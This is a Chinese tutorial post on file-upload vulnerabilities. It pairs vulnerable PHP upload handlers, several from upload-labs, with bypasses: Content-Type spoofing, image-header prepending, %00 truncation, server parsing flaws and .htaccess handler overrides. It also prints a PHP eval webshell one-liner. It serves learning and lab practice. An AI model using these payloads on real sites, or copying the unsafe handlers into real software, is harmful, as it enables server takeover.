洞悉互聯網前沿資訊,探尋網站營銷規律
作者:狐靈科技 | 2020-03-09 17:38 |點擊:
文件上傳漏洞是我們平時滲透過程中經常利用的漏洞,利用文件上傳我們可以直接得到webshell,是非常直接的攻擊方式。寫這篇文章主要是想對常見的文件上傳檢測和繞過進行總結,同時練習文件上傳php代碼的編寫。
以下上傳測試使用的HTML表單的代碼為:
<html>
<head>
<title>File Upload</title>
<meta charset="utf-8">
</head>
<body>
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="MAX_FILE_SIZE" value="1000000">
選擇文件: <input type="file" name="myfile">
<input type="submit" value="Upload">
</form>
</body>
</html>
前端一般都是使用js來限制我們的上傳類型和文件大小,這里以upload-labs Pass-01的源碼為例:
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("請選擇要上傳的文件!");
return false;
}
//定義允許上傳的文件類型
var allow_ext = ".jpg|.png|.gif";
//提取上傳文件的類型
var ext_name = file.substring(file.lastIndexOf("."));
//判斷上傳文件類型是否允許上傳
if (allow_ext.indexOf(ext_name + "|") == -1) {
var errMsg = "該文件不允許上傳,請上傳" + allow_ext + "類型的文件,當前文件類型為:" + ext_name;
alert(errMsg);
return false;
}
}
對于前端的檢測我們可以抓包來修改文件類型,也可以禁用掉JavaScript。總之,只有前端的限制是非常不安全的,非常容易被繞過。
后端代碼大致為:
<?php
$allow_content_type = array("image/gif", "image/png", "image/jpeg");
$path = "./uploads";
$type = $_FILES["myfile"]["type"];
if (!in_array($type, $allow_content_type)) {
die("File type error!<br>");
} else {
$file = $path . '/' . $_FILES["myfile"]["name"];
if (move_uploaded_file($_FILES["myfile"]["tmp_name"], $file)) {
echo 'Success!<br>';
} else {
echo 'Error!<br>';
}
}
?>
繞過方法:
抓包將content-type
改為圖片形式(即'image/png'等),即可成功上傳
后端代碼大致為:
<?php
$allow_mime = array("image/gif", "image/png", "image/jpeg");
$imageinfo = getimagesize($_FILES["myfile"]["tmp_name"]);
$path = "./uploads";
if (!in_array($imageinfo['mime'], $allow_mime)) {
die("File type error!<br>");
} else {
$file = $path . '/' . $_FILES["myfile"]["name"];
if (move_uploaded_file($_FILES["myfile"]["tmp_name"], $file)) {
echo 'Success!<br>';
} else {
echo 'Error!<br>';
}
}
?>
此時雖然檢查的也是文件類型,但是是使用getimagesize()
函數來獲取文件的MIME類型,此時檢測的不是數據包中的content-type
,而是圖片的文件頭,常見的圖片文件頭如下:
gif(GIF89a) : 47 49 46 38 39 61
jpg、jpeg : FF D8 FF
png : 89 50 4E 47 0D 0A
繞過方法:
當上傳php文件時,可以使用winhex、010editor等十六進制處理工具,在數據最前面添加圖片的文件頭,從而繞過檢測
后端代碼大致為:
<?php
// 實際情況中黑名單內數據會更多更全面
$blacklist = array('php', 'asp', 'aspx', 'jsp');
$path = "./uploads";
$type = array_pop(explode('.', $_FILES['myfile']['name']));
if (in_array(strtolower($type), $blacklist)) {
die("File type errer!<br>");
} else {
$file = $path . '/' . $_FILES['myfile']['name'];
if (move_uploaded_file($_FILES['myfile']['tmp_name'], $file)) {
echo 'Success!<br>';
} else {
echo 'Error!<br>';
}
}
?>
眾所周知使用黑名單是非常不安全的,很多網站會使用擴展名黑名單來限制上傳文件類型,有些甚至在判斷時都不用strtolower()
來處理,因此造成漏洞
繞過方法:
大致代碼如下,與黑名單檢測沒有太大差別:
<?php
$whitelist = array('png', 'jpg', 'jpeg', 'gif');
$path = "./uploads";
$type = array_pop(explode('.', $_FILES['myfile']['name']));
if (!in_array(strtolower($type), $whitelist)) {
die("File type errer!<br>");
} else {
$file = $path . '/' . $_FILES['myfile']['name'];
if (move_uploaded_file($_FILES['myfile']['tmp_name'], $file)) {
echo 'Success!<br>';
} else {
echo 'Error!<br>';
}
}
白名單相對與黑名單就安全許多,要求只能是特定擴展名的文件才能上傳,雖然我們無法從代碼層面來繞過,但這樣也不是絕對的安全,可以利用其他漏洞來繞過
繞過方法:
這種主要是將文件中的敏感字符替換掉,大致代碼類似于下面這樣:
<?php
$path = "./uploads";
$content = file_get_contents($_FILES['myfile']['tmp_name']);
$content = str_replace('?', '!', $content);
$file = $path . '/' . $_FILES['myfile']['name'];
if (move_uploaded_file($_FILES['myfile']['tmp_name'], $file)) {
file_put_contents($file, $content);
echo 'Success!<br>';
} else {
echo 'Error!<br>';
}
?>
此時如果我們要上傳php的一句話<?php @eval($_POST['shell']);?>
時,php的語言標記中的?
會被替換為!
,這樣一句話就不能被執行了
繞過方法:
主要還是要根據實際過濾的字符來判斷,如果寫死的話可能是沒辦法的(一般不會,因為還要兼顧圖片上傳)
比如過濾掉問號,我們就可以使用<script language='php'>system('ls');</script>
這樣的一句話。具體方法要看實際代碼過濾了哪些字符。
我們以upload-labs Pass-16的源碼為例:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 獲得上傳文件的基本信息,文件名,類型,大小,臨時文件路徑
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 獲得上傳文件的擴展名
$fileext= substr(strrchr($filename,"."),1);
//判斷文件后綴與類型,合法才進行上傳操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上傳的圖片生成新的圖片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "該文件不是jpg格式的圖片!";
@unlink($target_path);
}else{
//給新圖片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//顯示二次渲染后的圖片(使用用戶上傳圖片生成的新圖片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上傳出錯!";
}
...
大致意思是后端調用了php的GD庫,提取了文件中的圖片數據,然后再重新渲染,這樣圖片中插入的惡意代碼就會被過濾掉了
我自己在測試時發現不管是直接修改文件頭來制作的圖片馬,還是利用copy
命令制作的圖片馬,都無法避免其中的一句話被過濾掉。
而看了一篇文章發現其實要把一句話插入到圖片數據中,這樣經過渲染后這部分數據還是會保留下來。大家可以看一下作為參考:https://secgeek.net/bookfresh-vulnerability/
在IIS6.0中有兩個很重要的asp解析漏洞:
這個其實不能算IIS的洞,它其實是php的解析漏洞,這個漏洞利用條件是服務器在php.ini中將cgi.fix_pathinfo
的值設置為1
然后當我們訪問服務器上任意一個文件時(如:http://test.com/a.jpg),當我們在URL后面添加`.php`(即:http://test.com/a.jpg/.php),那么文件a.jpg就將被作為php文件來解析
在了解這個解析漏洞之前,我們要首先了解apache和php的三種結合方式:
Apache和php三種結合方式:
1.CGI
2.Module
3.FastCGI
該解析漏洞只有在apache和php以Module方式結合時才存在,而且Apache還有一個特性:
Apache在解析文件時會以文件名從右向左解析,當最后一個擴展名無法識別時,就會向左查看是否有可以識別的文件名,如果沒有的話就以配置中的默認文件類型來解析
例如:
a.php.xxx因為xxx無法識別,而左邊的php可識別,就會被解析為php文件
因此,如果上傳文件名為a.php.xxx的一句話,訪問后就很可能拿到shell
還有一個apache的解析漏洞就是CVE-2017-15715,這個漏洞利用方式就是上傳一個文件名最后帶有換行符(只能是\x0A
,如上傳a.php,然后在burp中修改文件名為a.php\x0A
),以此來繞過一些黑名單過濾
具體的漏洞分析可以看p牛:https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html
這個多數被利用在截斷路徑,利用的條件是:
PHP < 5.3.4
magic_quotes_gpc 關閉
因為0x00
是字符串的結束標志符,所以php在讀取到0x00
時就不會再往后讀取,我們可以利用這些截斷字符后面不需要的內容
以upload-labs的Pass-12為例,源碼如下:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上傳出錯!';
}
} else{
$msg = "只允許上傳.jpg|.png|.gif類型文件!";
}
}
由于是白名單限制了上傳文件類型,因此我們無法在文件名處做文章。但最終move_uploaded_file()
的目標目錄是我們可控的,我們可以將POST傳入的save_path
改為../upload/shell.php%00
,這樣后面的內容就會被截斷掉,這就導致了任意文件上傳
還要注意的是%00
是url編碼,在以POST傳參時應該使用burpsuite對其進行url decode,或者修改hex值為00;而當GET傳參時因為瀏覽器會做一遍url decode,所以直接傳%00
即可。
.htaccess文件(或者"分布式配置文件"),全稱是Hypertext Access(超文本入口)。提供了針對目錄改變配置的方法, 即,在一個特定的文檔目錄中放置一個包含一個或多個指令的文件, 以作用于此目錄及其所有子目錄。作為用戶,所能使用的命令受到限制。管理員可以通過Apache的AllowOverride指令來設置。
利用.htaccess的條件:Apache中配置AllowOverride All
.htaccess文件可以配置將特定的文件按規定的文件類型進行解析,可以用以下兩種方式來配置:
<FilesMatch "test">
SetHandler application/x-httpd-php
</FilesMatch>
這一種采用正則匹配,只要文件名為test的文件都將被作為php文件解析
AddType application/x-httpd-php .jpg
第二種是將.jpg文件都作為php文件解析
這樣我們如果能將.htaccess上傳到服務器的話,就可以再根據我們自己設定的規則來解析上傳的文件,以此來繞過上傳過濾
常見的文件上傳的檢測和繞過方式基本是以上幾種。在實戰或CTF比賽中往往是幾種類型的結合,因此繞過也需要幾種方式的結合。
首先我認為最重要的是前期的信息收集,服務器的類型、版本,使用的腳本語言、版本,只要做到對這些很清楚后才能考慮之后能否利用一些如%00截斷、服務器解析漏洞來進行文件上傳。
在測試時,一般我們都先要fuzz看一下檢測是哪種類型,是前端還是后端?黑名單還是白名單?上傳后的shell能否被成功執行?是否有文件內容的檢測?
如果是黑名單的話,就要嘗試各種特殊文件名(php、Php、PHP、pht、php5、phtml),或者在擴展名后添加空格、::$DATA、.等字符,再或者是嘗試上傳.htaccess
如果是白名單,就要看是否可以使用%00截斷,或者利用服務器的解析漏洞。如果真的過濾很死的話,不妨再找一下目標的文件包含漏洞,嘗試利用文件包含來解析圖片馬。
個人認為現在文件上傳在代碼層除了邏輯問題外已經很少有漏洞了,大多數情況下都是利用服務器解析漏洞等來getshell,這篇文章也只是作為自己入門文件上傳的總結。如果有錯誤,請各位師傅指正。